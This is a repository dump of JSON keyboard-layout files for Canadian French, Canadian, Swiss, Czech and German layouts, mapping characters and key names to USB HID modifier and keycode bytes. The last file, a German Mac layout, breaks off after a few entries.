"l":"00,00,0f",
"m":"00,00,10",
"n":"00,00,11",
"o":"00,00,12",
"p":"00,00,13",
"q":"00,00,14",
"r":"00,00,15",
"s":"00,00,16",
"t":"00,00,17",
"u":"00,00,18",
"v":"00,00,19",
"w":"00,00,1a",
"x":"00,00,1b",
"y":"00,00,1c",
"z":"00,00,1d",
"1":"00,00,1e",
"2":"00,00,1f",
"3":"00,00,20",
"4":"00,00,21",
"5":"00,00,22",
"6":"00,00,23",
"7":"00,00,24",
"8":"00,00,25",
"9":"00,00,26",
"0":"00,00,27",
"ENTER":"00,00,28",
"ESC":"00,00,29",
"ESCAPE":"00,00,29",
"TAB":"00,00,2b",
" ":"00,00,2c",
"SPACE":"00,00,2c",
"-":"00,00,2d",
"=":"00,00,2e",
"[":"00,00,30",
"]":"00,00,31",
"~":"00,00,34",
"'":"00,00,35",
",":"00,00,36",
".":"00,00,37",
";":"00,00,38",
"CAPSLOCK":"00,00,39",
"F1":"00,00,3a",
"F2":"00,00,3b",
"F3":"00,00,3c",
"F4":"00,00,3d",
"F5":"00,00,3e",
"F6":"00,00,3f",
"F7":"00,00,40",
"F8":"00,00,41",
"F9":"00,00,42",
"F10":"00,00,43",
"F11":"00,00,44",
"F12":"00,00,45",
"PRINTSCREEN":"00,00,46",
"SCROLLLOCK":"00,00,47",
"BREAK":"00,00,48",
"PAUSE":"00,00,48",
"INSERT":"00,00,49",
"HOME":"00,00,4a",
"PAGEUP":"00,00,4b",
"DEL":"00,00,4c",
"DELETE":"00,00,4c",
"END":"00,00,4d",
"PAGEDOWN":"00,00,4e",
"RIGHT":"00,00,4f",
"RIGHTARROW":"00,00,4f",
"LEFT":"00,00,50",
"LEFTARROW":"00,00,50",
"DOWN":"00,00,51",
"DOWNARROW":"00,00,51",
"UP":"00,00,52",
"UPARROW":"00,00,52",
"\\":"00,00,64",
"APP":"00,00,65",
"MENU":"00,00,65",
"ALT-TAB":"00,00,71",
"CONTROL":"01,00,00",
"CTRL":"01,00,00",
"SHIFT":"02,00,00",
"A":"02,00,04",
"B":"02,00,05",
"C":"02,00,06",
"D":"02,00,07",
"E":"02,00,08",
"F":"02,00,09",
"G":"02,00,0a",
"H":"02,00,0b",
"I":"02,00,0c",
"J":"02,00,0d",
"K":"02,00,0e",
"L":"02,00,0f",
"M":"02,00,10",
"N":"02,00,11",
"O":"02,00,12",
"P":"02,00,13",
"Q":"02,00,14",
"R":"02,00,15",
"S":"02,00,16",
"T":"02,00,17",
"U":"02,00,18",
"V":"02,00,19",
"W":"02,00,1a",
"X":"02,00,1b",
"Y":"02,00,1c",
"Z":"02,00,1d",
"!":"02,00,1e",
"@":"02,00,1f",
"#":"02,00,20",
"$":"02,00,21",
"%":"02,00,22",
"&":"02,00,24",
"*":"02,00,25",
"(":"02,00,26",
")":"02,00,27",
"_":"02,00,2d",
"+":"02,00,2e",
"`":"02,00,2f",
"{":"02,00,30",
"}":"02,00,31",
"^":"02,00,34",
"\"":"02,00,35",
"<":"02,00,36",
">":"02,00,37",
":":"02,00,38",
"|":"02,00,64",
"CTRL-SHIFT":"03,00,00",
"ALT":"04,00,00",
"CTRL-ALT":"05,00,00",
"ALT-SHIFT":"06,00,00",
"COMMAND":"08,00,00",
"GUI":"08,00,00",
"WINDOWS":"08,00,00",
"COMMAND-OPTION":"12,00,00",
"/":"40,00,14",
"?":"40,00,1a",
"COMMAND-CTRL-SHIFT":"40,00,1a",
"COMMAND-CTRL":"40,00,1a",
"COMMAND-OPTION-SHIFT'":"40,00,1a"
}
================================================
FILE: languages/ca-fr.json
================================================
{
"__comment":"All numbers here are in hex format and 0x is ignored.",
"__comment":" ",
"__comment":"This list is in ascending order of 3rd byte (HID Usage ID).",
"__comment":" See section 10 Keyboard/Keypad Page (0x07)",
"__comment":" of document USB HID Usage Tables Version 1.12.",
"__comment":" ",
"__comment":"Definition of these 3 bytes can be found",
"__comment":" in section B.1 Protocol 1 (Keyboard)",
"__comment":" of document Device Class Definition for HID Version 1.11",
"__comment":" - byte 1: Modifier keys",
"__comment":" - byte 2: Reserved",
"__comment":" - byte 3: Keycode 1",
"__comment":" ",
"__comment":"Both documents can be obtained from link here",
"__comment":" http://www.usb.org/developers/hidpage/",
"__comment":" ",
"__comment":"A = LeftShift + a, { = LeftShift + [",
"__comment":" ",
"__comment":" Canadian french version made by Dominic Villeneuve",
"a":"00,00,04",
"b":"00,00,05",
"c":"00,00,06",
"d":"00,00,07",
"e":"00,00,08",
"f":"00,00,09",
"g":"00,00,0a",
"h":"00,00,0b",
"i":"00,00,0c",
"j":"00,00,0d",
"k":"00,00,0e",
"l":"00,00,0f",
"m":"00,00,10",
"n":"00,00,11",
"o":"00,00,12",
"p":"00,00,13",
"q":"00,00,14",
"r":"00,00,15",
"s":"00,00,16",
"t":"00,00,17",
"u":"00,00,18",
"v":"00,00,19",
"w":"00,00,1a",
"x":"00,00,1b",
"y":"00,00,1c",
"z":"00,00,1d",
"1":"00,00,1e",
"2":"00,00,1f",
"3":"00,00,20",
"4":"00,00,21",
"5":"00,00,22",
"6":"00,00,23",
"7":"00,00,24",
"8":"00,00,25",
"9":"00,00,26",
"0":"00,00,27",
"ENTER":"00,00,28",
"ESC":"00,00,29",
"ESCAPE":"00,00,29",
"TAB":"00,00,2b",
" ":"00,00,2c",
"SPACE":"00,00,2c",
"-":"00,00,2d",
"=":"00,00,2e",
"^":"00,00,2f",
"<":"40,00,36",
";":"00,00,33",
"`":"40,00,2f",
"#":"02,00,20",
",":"00,00,36",
".":"00,00,37",
"CAPSLOCK":"00,00,39",
"F1":"00,00,3a",
"F2":"00,00,3b",
"F3":"00,00,3c",
"F4":"00,00,3d",
"F5":"00,00,3e",
"F6":"00,00,3f",
"F7":"00,00,40",
"F8":"00,00,41",
"F9":"00,00,42",
"F10":"00,00,43",
"F11":"00,00,44",
"F12":"00,00,45",
"PRINTSCREEN":"00,00,46",
"SCROLLLOCK":"00,00,47",
"BREAK":"00,00,48",
"PAUSE":"00,00,48",
"INSERT":"00,00,49",
"HOME":"00,00,4a",
"PAGEUP":"00,00,4b",
"DEL":"00,00,4c",
"DELETE":"00,00,4c",
"END":"00,00,4d",
"PAGEDOWN":"00,00,4e",
"RIGHT":"00,00,4f",
"RIGHTARROW":"00,00,4f",
"LEFT":"00,00,50",
"LEFTARROW":"00,00,50",
"DOWN":"00,00,51",
"DOWNARROW":"00,00,51",
"UP":"00,00,52",
"UPARROW":"00,00,52",
"APP":"00,00,65",
"MENU":"00,00,65",
"ALT-TAB":"00,00,71",
"CONTROL":"01,00,00",
"CTRL":"01,00,00",
"SHIFT":"02,00,00",
"A":"02,00,04",
"B":"02,00,05",
"C":"02,00,06",
"D":"02,00,07",
"E":"02,00,08",
"F":"02,00,09",
"G":"02,00,0a",
"H":"02,00,0b",
"I":"02,00,0c",
"J":"02,00,0d",
"K":"02,00,0e",
"L":"02,00,0f",
"M":"02,00,10",
"N":"02,00,11",
"O":"02,00,12",
"P":"02,00,13",
"Q":"02,00,14",
"R":"02,00,15",
"S":"02,00,16",
"T":"02,00,17",
"U":"02,00,18",
"V":"02,00,19",
"W":"02,00,1a",
"X":"02,00,1b",
"Y":"02,00,1c",
"Z":"02,00,1d",
"!":"02,00,1e",
"\"":"02,00,35",
"/":"00,00,35",
"$":"02,00,21",
"%":"02,00,22",
"?":"02,00,23",
"&":"02,00,24",
"*":"02,00,25",
"(":"02,00,26",
")":"02,00,27",
"_":"02,00,2d",
"+":"02,00,2e",
">":"40,00,37",
":":"02,00,33",
"|":"40,00,35",
"'":"02,00,36",
"CTRL-SHIFT":"03,00,00",
"ALT":"04,00,00",
"\\":"02,00,35",
"CTRL-ALT":"05,00,00",
"ALT-SHIFT":"06,00,00",
"COMMAND":"08,00,00",
"GUI":"08,00,00",
"WINDOWS":"08,00,00",
"COMMAND-OPTION":"12,00,00",
"@":"02,00,1f",
"[":"40,00,26",
"]":"40,00,27",
"}":"40,00,25",
"~":"40,00,30",
"{":"40,00,24",
"COMMAND-CTRL-SHIFT":"40,00,34",
"COMMAND-CTRL":"40,00,34",
"COMMAND-OPTION-SHIFT'":"40,00,34"
}
================================================
FILE: languages/ca.json
================================================
{
"__comment":"All numbers here are in hex format and 0x is ignored.",
"__comment":" ",
"__comment":"This list is in ascending order of 3rd byte (HID Usage ID).",
"__comment":" See section 10 Keyboard/Keypad Page (0x07)",
"__comment":" of document USB HID Usage Tables Version 1.12.",
"__comment":" ",
"__comment":"Definition of these 3 bytes can be found",
"__comment":" in section B.1 Protocol 1 (Keyboard)",
"__comment":" of document Device Class Definition for HID Version 1.11",
"__comment":" - byte 1: Modifier keys",
"__comment":" - byte 2: Reserved",
"__comment":" - byte 3: Keycode 1",
"__comment":" ",
"__comment":"Both documents can be obtained from link here",
"__comment":" http://www.usb.org/developers/hidpage/",
"__comment":" ",
"__comment":"A = LeftShift + a, { = LeftShift + [",
"__comment":" ",
"a":"00,00,04",
"b":"00,00,05",
"c":"00,00,06",
"d":"00,00,07",
"e":"00,00,08",
"f":"00,00,09",
"g":"00,00,0a",
"h":"00,00,0b",
"i":"00,00,0c",
"j":"00,00,0d",
"k":"00,00,0e",
"l":"00,00,0f",
"m":"00,00,10",
"n":"00,00,11",
"o":"00,00,12",
"p":"00,00,13",
"q":"00,00,14",
"r":"00,00,15",
"s":"00,00,16",
"t":"00,00,17",
"u":"00,00,18",
"v":"00,00,19",
"w":"00,00,1a",
"x":"00,00,1b",
"y":"00,00,1c",
"z":"00,00,1d",
"1":"00,00,1e",
"2":"00,00,1f",
"3":"00,00,20",
"4":"00,00,21",
"5":"00,00,22",
"6":"00,00,23",
"7":"00,00,24",
"8":"00,00,25",
"9":"00,00,26",
"0":"00,00,27",
"ENTER":"00,00,28",
"ESC":"00,00,29",
"ESCAPE":"00,00,29",
"TAB":"00,00,2b",
" ":"00,00,2c",
"SPACE":"00,00,2c",
"-":"00,00,2d",
"=":"00,00,2e",
"^":"00,00,2f",
"<":"00,00,31",
";":"00,00,33",
"`":"00,00,34",
"#":"00,00,35",
",":"00,00,36",
".":"00,00,37",
"CAPSLOCK":"00,00,39",
"F1":"00,00,3a",
"F2":"00,00,3b",
"F3":"00,00,3c",
"F4":"00,00,3d",
"F5":"00,00,3e",
"F6":"00,00,3f",
"F7":"00,00,40",
"F8":"00,00,41",
"F9":"00,00,42",
"F10":"00,00,43",
"F11":"00,00,44",
"F12":"00,00,45",
"PRINTSCREEN":"00,00,46",
"SCROLLLOCK":"00,00,47",
"BREAK":"00,00,48",
"PAUSE":"00,00,48",
"INSERT":"00,00,49",
"HOME":"00,00,4a",
"PAGEUP":"00,00,4b",
"DEL":"00,00,4c",
"DELETE":"00,00,4c",
"END":"00,00,4d",
"PAGEDOWN":"00,00,4e",
"RIGHT":"00,00,4f",
"RIGHTARROW":"00,00,4f",
"LEFT":"00,00,50",
"LEFTARROW":"00,00,50",
"DOWN":"00,00,51",
"DOWNARROW":"00,00,51",
"UP":"00,00,52",
"UPARROW":"00,00,52",
"APP":"00,00,65",
"MENU":"00,00,65",
"ALT-TAB":"00,00,71",
"CONTROL":"01,00,00",
"CTRL":"01,00,00",
"SHIFT":"02,00,00",
"A":"02,00,04",
"B":"02,00,05",
"C":"02,00,06",
"D":"02,00,07",
"E":"02,00,08",
"F":"02,00,09",
"G":"02,00,0a",
"H":"02,00,0b",
"I":"02,00,0c",
"J":"02,00,0d",
"K":"02,00,0e",
"L":"02,00,0f",
"M":"02,00,10",
"N":"02,00,11",
"O":"02,00,12",
"P":"02,00,13",
"Q":"02,00,14",
"R":"02,00,15",
"S":"02,00,16",
"T":"02,00,17",
"U":"02,00,18",
"V":"02,00,19",
"W":"02,00,1a",
"X":"02,00,1b",
"Y":"02,00,1c",
"Z":"02,00,1d",
"!":"02,00,1e",
"\"":"02,00,1f",
"/":"02,00,20",
"$":"02,00,21",
"%":"02,00,22",
"?":"02,00,23",
"&":"02,00,24",
"*":"02,00,25",
"(":"02,00,26",
")":"02,00,27",
"_":"02,00,2d",
"+":"02,00,2e",
">":"02,00,31",
":":"02,00,33",
"|":"02,00,35",
"'":"02,00,36",
"CTRL-SHIFT":"03,00,00",
"ALT":"04,00,00",
"\\":"04,00,35",
"CTRL-ALT":"05,00,00",
"ALT-SHIFT":"06,00,00",
"COMMAND":"08,00,00",
"GUI":"08,00,00",
"WINDOWS":"08,00,00",
"COMMAND-OPTION":"12,00,00",
"@":"40,00,1f",
"[":"40,00,2f",
"]":"40,00,30",
"}":"40,00,31",
"~":"40,00,33",
"{":"40,00,34",
"COMMAND-CTRL-SHIFT":"40,00,34",
"COMMAND-CTRL":"40,00,34",
"COMMAND-OPTION-SHIFT'":"40,00,34"
}
================================================
FILE: languages/ch.json
================================================
{
"__comment":"All numbers here are in hex format and 0x is ignored.",
"__comment":" ",
"__comment":"This list is in ascending order of 3rd byte (HID Usage ID).",
"__comment":" See section 10 Keyboard/Keypad Page (0x07)",
"__comment":" of document USB HID Usage Tables Version 1.12.",
"__comment":" ",
"__comment":"Definition of these 3 bytes can be found",
"__comment":" in section B.1 Protocol 1 (Keyboard)",
"__comment":" of document Device Class Definition for HID Version 1.11",
"__comment":" - byte 1: Modifier keys",
"__comment":" - byte 2: Reserved",
"__comment":" - byte 3: Keycode 1",
"__comment":" ",
"__comment":"Both documents can be obtained from link here",
"__comment":" http://www.usb.org/developers/hidpage/",
"__comment":" ",
"__comment":"A = LeftShift + a, { = LeftShift + [",
"__comment":" ",
"a":"00,00,04",
"b":"00,00,05",
"c":"00,00,06",
"d":"00,00,07",
"e":"00,00,08",
"f":"00,00,09",
"g":"00,00,0a",
"h":"00,00,0b",
"i":"00,00,0c",
"j":"00,00,0d",
"k":"00,00,0e",
"l":"00,00,0f",
"m":"00,00,10",
"n":"00,00,11",
"o":"00,00,12",
"p":"00,00,13",
"q":"00,00,14",
"r":"00,00,15",
"s":"00,00,16",
"t":"00,00,17",
"u":"00,00,18",
"v":"00,00,19",
"w":"00,00,1a",
"x":"00,00,1b",
"z":"00,00,1c",
"y":"00,00,1d",
"1":"00,00,1e",
"2":"00,00,1f",
"3":"00,00,20",
"4":"00,00,21",
"5":"00,00,22",
"6":"00,00,23",
"7":"00,00,24",
"8":"00,00,25",
"9":"00,00,26",
"0":"00,00,27",
"ENTER":"00,00,28",
"ESC":"00,00,29",
"ESCAPE":"00,00,29",
"TAB":"00,00,2b",
" ":"00,00,2c",
"SPACE":"00,00,2c",
"'":"00,00,2d",
"^":"00,00,2e",
"$":"00,00,31",
",":"00,00,36",
".":"00,00,37",
"-":"00,00,38",
"CAPSLOCK":"00,00,39",
"F1":"00,00,3a",
"F2":"00,00,3b",
"F3":"00,00,3c",
"F4":"00,00,3d",
"F5":"00,00,3e",
"F6":"00,00,3f",
"F7":"00,00,40",
"F8":"00,00,41",
"F9":"00,00,42",
"F10":"00,00,43",
"F11":"00,00,44",
"F12":"00,00,45",
"PRINTSCREEN":"00,00,46",
"SCROLLLOCK":"00,00,47",
"BREAK":"00,00,48",
"PAUSE":"00,00,48",
"INSERT":"00,00,49",
"HOME":"00,00,4a",
"PAGEUP":"00,00,4b",
"DEL":"00,00,4c",
"DELETE":"00,00,4c",
"END":"00,00,4d",
"PAGEDOWN":"00,00,4e",
"RIGHT":"00,00,4f",
"RIGHTARROW":"00,00,4f",
"LEFT":"00,00,50",
"LEFTARROW":"00,00,50",
"DOWN":"00,00,51",
"DOWNARROW":"00,00,51",
"UP":"00,00,52",
"UPARROW":"00,00,52",
"<":"00,00,64",
"APP":"00,00,65",
"MENU":"00,00,65",
"ALT-TAB":"00,00,71",
"CONTROL":"01,00,00",
"CTRL":"01,00,00",
"SHIFT":"02,00,00",
"A":"02,00,04",
"B":"02,00,05",
"C":"02,00,06",
"D":"02,00,07",
"E":"02,00,08",
"F":"02,00,09",
"G":"02,00,0a",
"H":"02,00,0b",
"I":"02,00,0c",
"J":"02,00,0d",
"K":"02,00,0e",
"L":"02,00,0f",
"M":"02,00,10",
"N":"02,00,11",
"O":"02,00,12",
"P":"02,00,13",
"Q":"02,00,14",
"R":"02,00,15",
"S":"02,00,16",
"T":"02,00,17",
"U":"02,00,18",
"V":"02,00,19",
"W":"02,00,1a",
"X":"02,00,1b",
"Z":"02,00,1c",
"Y":"02,00,1d",
"+":"02,00,1e",
"\"":"02,00,1f",
"*":"02,00,20",
"%":"02,00,22",
"&":"02,00,23",
"/":"02,00,24",
"(":"02,00,25",
")":"02,00,26",
"=":"02,00,27",
"?":"02,00,2d",
"`":"02,00,2e",
"!":"02,00,30",
";":"02,00,36",
":":"02,00,37",
"_":"02,00,38",
">":"02,00,64",
"CTRL-SHIFT":"03,00,00",
"ALT":"04,00,00",
"CTRL-ALT":"05,00,00",
"ALT-SHIFT":"06,00,00",
"COMMAND":"08,00,00",
"GUI":"08,00,00",
"WINDOWS":"08,00,00",
"COMMAND-OPTION":"12,00,00",
"@":"40,00,1f",
"#":"40,00,20",
"|":"40,00,24",
"~":"40,00,2e",
"[":"40,00,2f",
"]":"40,00,30",
"}":"40,00,31",
"{":"40,00,35",
"\\":"40,00,64",
"COMMAND-CTRL-SHIFT":"40,00,64",
"COMMAND-CTRL":"40,00,64",
"COMMAND-OPTION-SHIFT'":"40,00,64",
"__comment":"Everything below was additionally added by kuyaya",
"GUI-l":"08,00,0f",
"RIGHTSHIFT":"20,00,00",
"A":"20,00,04",
"B":"20,00,05",
"C":"20,00,06",
"D":"20,00,07",
"E":"20,00,08",
"F":"20,00,09",
"G":"20,00,0a",
"H":"20,00,0b",
"I":"20,00,0c",
"J":"20,00,0d",
"K":"20,00,0e",
"L":"20,00,0f",
"M":"20,00,10",
"N":"20,00,11",
"O":"20,00,12",
"P":"20,00,13",
"Q":"20,00,14",
"R":"20,00,15",
"S":"20,00,16",
"T":"20,00,17",
"U":"20,00,18",
"V":"20,00,19",
"W":"20,00,1a",
"X":"20,00,1b",
"Z":"20,00,1c",
"Y":"20,00,1d",
"+":"20,00,1e",
"\"":"20,00,1f",
"*":"20,00,20",
"%":"20,00,22",
"&":"20,00,23",
"/":"20,00,24",
"(":"20,00,25",
")":"20,00,26",
"=":"20,00,27",
"?":"20,00,2d",
"`":"20,00,2e",
"!":"20,00,30",
";":"20,00,36",
":":"20,00,37",
"_":"20,00,38",
">":"20,00,64",
"°":"02,00,35",
"°":"20,00,35",
"§":"00,00,35",
"ç":"02,00,21",
"ç":"20,00,21",
"¬":"40,00,23",
"¦":"40,00,1e",
"¢":"40,00,25",
"´":"40,00,2d",
"BACKSPACE":"00,00,2a",
"SHIFT-BACKSPACE":"02,00,2a",
"SHIFT-BACKSPACE":"20,00,2a",
"€":"40,00,08",
"è":"02,00,2f",
"è":"20,00,2f",
"ü":"00,00,2f",
"¨":"00,00,30",
"é":"02,00,33",
"é":"20,00,33",
"ö":"00,00,33",
"ä":"00,00,34",
"à":"02,00,34",
"à":"20,00,34",
"£":"02,00,32",
"£":"20,00,32",
"ALT-GR":"40,00,00",
"RIGHTCONTROL":"10,00,00",
"NUMLOCK":"00,00,53",
"+":"00,00,57",
"-":"00,00,56",
"*":"00,00,55",
"/":"00,00,54",
"ENTER":"00,00,58",
"DEL":"00,00,63",
"INSERT":"00,00,62",
"END":"00,00,59",
"DOWN":"00,00,5a",
"PAGEDOWN":"00,00,5b",
"LEFT":"00,00,5c",
"RIGHT":"00,00,5e",
"HOME":"00,00,5f",
"UP":"00,00,60",
"PAGEUP":"00,00,61",
".":"00,00,63",
"0":"00,00,62",
"1":"00,00,59",
"2":"00,00,5a",
"3":"00,00,5b",
"4":"00,00,5c",
"5":"00,00,5d",
"6":"00,00,5e",
"7":"00,00,5f",
"8":"00,00,60",
"9":"00,00,61"
}
================================================
FILE: languages/cz.json
================================================
{
"__comment":"All numbers here are in hex format and 0x is ignored.",
"__comment":" ",
"__comment":"This list is in ascending order of 3rd byte (HID Usage ID).",
"__comment":" See section 10 Keyboard/Keypad Page (0x07)",
"__comment":" of document USB HID Usage Tables Version 1.12.",
"__comment":" ",
"__comment":"Definition of these 3 bytes can be found",
"__comment":" in section B.1 Protocol 1 (Keyboard)",
"__comment":" of document Device Class Definition for HID Version 1.11",
"__comment":" - byte 1: Modifier keys",
"__comment":" - byte 2: Reserved",
"__comment":" - byte 3: Keycode 1",
"__comment":" ",
"__comment":"Both documents can be obtained from link here",
"__comment":" http://www.usb.org/developers/hidpage/",
"__comment":" ",
"__comment":" Czech QWERTZ version made by Andrej Šimko",
"__comment":" Note that some special characters use leftCtrl+leftAlt+[key]",
"__comment":" Special Czech characters like ěščřžýáíéů are not included",
"a":"00,00,04",
"b":"00,00,05",
"c":"00,00,06",
"d":"00,00,07",
"e":"00,00,08",
"f":"00,00,09",
"g":"00,00,0a",
"h":"00,00,0b",
"i":"00,00,0c",
"j":"00,00,0d",
"k":"00,00,0e",
"l":"00,00,0f",
"m":"00,00,10",
"n":"00,00,11",
"o":"00,00,12",
"p":"00,00,13",
"q":"00,00,14",
"r":"00,00,15",
"s":"00,00,16",
"t":"00,00,17",
"u":"00,00,18",
"v":"00,00,19",
"w":"00,00,1a",
"x":"00,00,1b",
"z":"00,00,1c",
"y":"00,00,1d",
"+":"00,00,1e",
"ENTER":"00,00,28",
"ESC":"00,00,29",
"ESCAPE":"00,00,29",
"TAB":"00,00,2b",
" ":"00,00,2c",
"SPACE":"00,00,2c",
"CTRL-ALT":"05,00,00",
"=":"00,00,2d",
")":"00,00,30",
";":"00,00,35",
",":"00,00,36",
".":"00,00,37",
"-":"00,00,38",
"CAPSLOCK":"00,00,39",
"F1":"00,00,3a",
"F2":"00,00,3b",
"F3":"00,00,3c",
"F4":"00,00,3d",
"F5":"00,00,3e",
"F6":"00,00,3f",
"F7":"00,00,40",
"F8":"00,00,41",
"F9":"00,00,42",
"F10":"00,00,43",
"F11":"00,00,44",
"F12":"00,00,45",
"PRINTSCREEN":"00,00,46",
"SCROLLLOCK":"00,00,47",
"BREAK":"00,00,48",
"PAUSE":"00,00,48",
"INSERT":"00,00,49",
"HOME":"00,00,4a",
"PAGEUP":"00,00,4b",
"DEL":"00,00,4c",
"DELETE":"00,00,4c",
"END":"00,00,4d",
"PAGEDOWN":"00,00,4e",
"RIGHT":"00,00,4f",
"RIGHTARROW":"00,00,4f",
"LEFT":"00,00,50",
"LEFTARROW":"00,00,50",
"DOWN":"00,00,51",
"DOWNARROW":"00,00,51",
"UP":"00,00,52",
"UPARROW":"00,00,52",
"APP":"00,00,65",
"MENU":"00,00,65",
"ALT-TAB":"00,00,71",
"CONTROL":"01,00,00",
"CTRL":"01,00,00",
"SHIFT":"02,00,00",
"A":"02,00,04",
"B":"02,00,05",
"C":"02,00,06",
"D":"02,00,07",
"E":"02,00,08",
"F":"02,00,09",
"G":"02,00,0a",
"H":"02,00,0b",
"I":"02,00,0c",
"J":"02,00,0d",
"K":"02,00,0e",
"L":"02,00,0f",
"M":"02,00,10",
"N":"02,00,11",
"O":"02,00,12",
"P":"02,00,13",
"Q":"02,00,14",
"R":"02,00,15",
"S":"02,00,16",
"T":"02,00,17",
"U":"02,00,18",
"V":"02,00,19",
"W":"02,00,1a",
"X":"02,00,1b",
"Z":"02,00,1c",
"Y":"02,00,1d",
"1":"02,00,1e",
"2":"02,00,1f",
"3":"02,00,20",
"4":"02,00,21",
"5":"02,00,22",
"6":"02,00,23",
"7":"02,00,24",
"8":"02,00,25",
"9":"02,00,26",
"0":"02,00,27",
"\\":"05,00,14",
"%":"02,00,2d",
"/":"02,00,2f",
"(":"02,00,30",
"'":"02,00,31",
"\"":"02,00,33",
"!":"02,00,34",
"?":"02,00,36",
":":"02,00,37",
"_":"02,00,38",
"|":"05,00,1a",
"#":"05,00,1b",
"&":"05,00,06",
"@":"05,00,19",
"$":"05,00,33",
"*":"05,00,38",
"{":"05,00,05",
"}":"05,00,11",
"[":"05,00,09",
"]":"05,00,0a",
"~":"05,00,1e",
"^":"05,00,20",
"<":"05,00,36",
">":"05,00,37",
"CTRL-SHIFT":"03,00,00",
"ALT":"04,00,00",
"ALT-SHIFT":"06,00,00",
"COMMAND":"08,00,00",
"GUI":"08,00,00",
"WINDOWS":"08,00,00",
"COMMAND-OPTION":"12,00,00",
"COMMAND-CTRL-SHIFT":"12,00,00",
"COMMAND-CTRL":"12,00,00",
"COMMAND-OPTION-SHIFT'":"12,00,00"
}
================================================
FILE: languages/de.json
================================================
{
"__comment":"All numbers here are in hex format and 0x is ignored.",
"__comment":" ",
"__comment":"This list is in ascending order of 3rd byte (HID Usage ID).",
"__comment":" See section 10 Keyboard/Keypad Page (0x07)",
"__comment":" of document USB HID Usage Tables Version 1.12.",
"__comment":" ",
"__comment":"Definition of these 3 bytes can be found",
"__comment":" in section B.1 Protocol 1 (Keyboard)",
"__comment":" of document Device Class Definition for HID Version 1.11",
"__comment":" - byte 1: Modifier keys",
"__comment":" - byte 2: Reserved",
"__comment":" - byte 3: Keycode 1",
"__comment":" ",
"__comment":"Both documents can be obtained from link here",
"__comment":" http://www.usb.org/developers/hidpage/",
"__comment":" ",
"__comment":"A = LeftShift + a, { = LeftShift + [",
"__comment":" ",
"__comment":"German umlauts added by Simon Dankelmann",
"a":"00,00,04",
"b":"00,00,05",
"c":"00,00,06",
"d":"00,00,07",
"e":"00,00,08",
"f":"00,00,09",
"g":"00,00,0a",
"h":"00,00,0b",
"i":"00,00,0c",
"j":"00,00,0d",
"k":"00,00,0e",
"l":"00,00,0f",
"m":"00,00,10",
"n":"00,00,11",
"o":"00,00,12",
"p":"00,00,13",
"q":"00,00,14",
"r":"00,00,15",
"s":"00,00,16",
"t":"00,00,17",
"u":"00,00,18",
"v":"00,00,19",
"w":"00,00,1a",
"x":"00,00,1b",
"z":"00,00,1c",
"y":"00,00,1d",
"1":"00,00,1e",
"2":"00,00,1f",
"3":"00,00,20",
"4":"00,00,21",
"5":"00,00,22",
"6":"00,00,23",
"7":"00,00,24",
"8":"00,00,25",
"9":"00,00,26",
"0":"00,00,27",
"ENTER":"00,00,28",
"ESC":"00,00,29",
"ESCAPE":"00,00,29",
"TAB":"00,00,2b",
" ":"00,00,2c",
"SPACE":"00,00,2c",
"+":"00,00,30",
"#":"00,00,31",
"^":"00,00,35",
",":"00,00,36",
".":"00,00,37",
"-":"00,00,38",
"CAPSLOCK":"00,00,39",
"F1":"00,00,3a",
"F2":"00,00,3b",
"F3":"00,00,3c",
"F4":"00,00,3d",
"F5":"00,00,3e",
"F6":"00,00,3f",
"F7":"00,00,40",
"F8":"00,00,41",
"F9":"00,00,42",
"F10":"00,00,43",
"F11":"00,00,44",
"F12":"00,00,45",
"PRINTSCREEN":"00,00,46",
"SCROLLLOCK":"00,00,47",
"BREAK":"00,00,48",
"PAUSE":"00,00,48",
"INSERT":"00,00,49",
"HOME":"00,00,4a",
"PAGEUP":"00,00,4b",
"DEL":"00,00,4c",
"DELETE":"00,00,4c",
"END":"00,00,4d",
"PAGEDOWN":"00,00,4e",
"RIGHT":"00,00,4f",
"RIGHTARROW":"00,00,4f",
"LEFT":"00,00,50",
"LEFTARROW":"00,00,50",
"DOWN":"00,00,51",
"DOWNARROW":"00,00,51",
"UP":"00,00,52",
"UPARROW":"00,00,52",
"NUMLOCK":"00,00,53",
"<":"00,00,64",
"APP":"00,00,65",
"MENU":"00,00,65",
"ALT-TAB":"00,00,71",
"CONTROL":"01,00,00",
"CTRL":"01,00,00",
"SHIFT":"02,00,00",
"A":"02,00,04",
"B":"02,00,05",
"C":"02,00,06",
"D":"02,00,07",
"E":"02,00,08",
"F":"02,00,09",
"G":"02,00,0a",
"H":"02,00,0b",
"I":"02,00,0c",
"J":"02,00,0d",
"K":"02,00,0e",
"L":"02,00,0f",
"M":"02,00,10",
"N":"02,00,11",
"O":"02,00,12",
"P":"02,00,13",
"Q":"02,00,14",
"R":"02,00,15",
"S":"02,00,16",
"T":"02,00,17",
"U":"02,00,18",
"V":"02,00,19",
"W":"02,00,1a",
"X":"02,00,1b",
"Z":"02,00,1c",
"Y":"02,00,1d",
"!":"02,00,1e",
"\"":"02,00,1f",
"$":"02,00,21",
"%":"02,00,22",
"&":"02,00,23",
"/":"02,00,24",
"(":"02,00,25",
")":"02,00,26",
"=":"02,00,27",
"?":"02,00,2d",
"`":"02,00,2e",
"*":"02,00,30",
"'":"02,00,31",
";":"02,00,36",
":":"02,00,37",
"_":"02,00,38",
">":"02,00,64",
"CTRL-SHIFT":"03,00,00",
"ALT":"04,00,00",
"CTRL-ALT":"05,00,00",
"ALT-SHIFT":"06,00,00",
"COMMAND":"08,00,00",
"GUI":"08,00,00",
"WINDOWS":"08,00,00",
"COMMAND-OPTION":"12,00,00",
"@":"40,00,14",
"{":"40,00,24",
"[":"40,00,25",
"]":"40,00,26",
"}":"40,00,27",
"\\":"40,00,2d",
"~":"40,00,30",
"|":"40,00,64",
"COMMAND-CTRL-SHIFT":"40,00,64",
"COMMAND-CTRL":"40,00,64",
"COMMAND-OPTION-SHIFT'":"40,00,64",
"ß":"00,00,2d",
"€":"40,00,08",
"§":"02,00,20",
"ä":"00,00,34",
"ö":"00,00,33",
"ü":"00,00,2f",
"Ä":"02,00,34",
"Ö":"02,00,33",
"Ü":"02,00,2f"
}
================================================
FILE: languages/de_mac.json
================================================
{
"0": "00,00,27",
"1": "00,00,1e",
"2": "00,00,1f",
"3": "00,00,20",
"4": "00,00,21",
"5": "00,00,22",
"6": "00,00,23",
"7": "00,00,24",
"8": "00,00,25",
"9": "00,00,26",
"__comment": "A mac's default Germany keyboard layout",
"a": "00,00,04",
"b": "00,00,05",
"c": "00,00,06",
"d": "00,00,07",
"e": "00,00,08",
"f": "00,00,09",
"g": "00,00,0a",
"h": "00,00,0b",
"i": "00,00,0c",
"j": "00,00,0d",
